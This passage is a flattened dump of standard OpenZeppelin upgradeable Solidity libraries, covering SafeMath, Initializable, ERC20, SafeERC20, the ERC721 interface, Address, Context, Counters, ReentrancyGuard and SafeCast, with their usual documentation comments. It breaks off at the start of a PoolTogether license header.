unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMathUpgradeable.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library CountersUpgradeable { using SafeMathUpgradeable for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCastUpgradeable { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } /** Copyright 2020 PoolTogether Inc. This file is part of PoolTogether. PoolTogether is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation under version 3 of the License. PoolTogether is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PoolTogether. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity >=0.6.0 <0.8.0; import 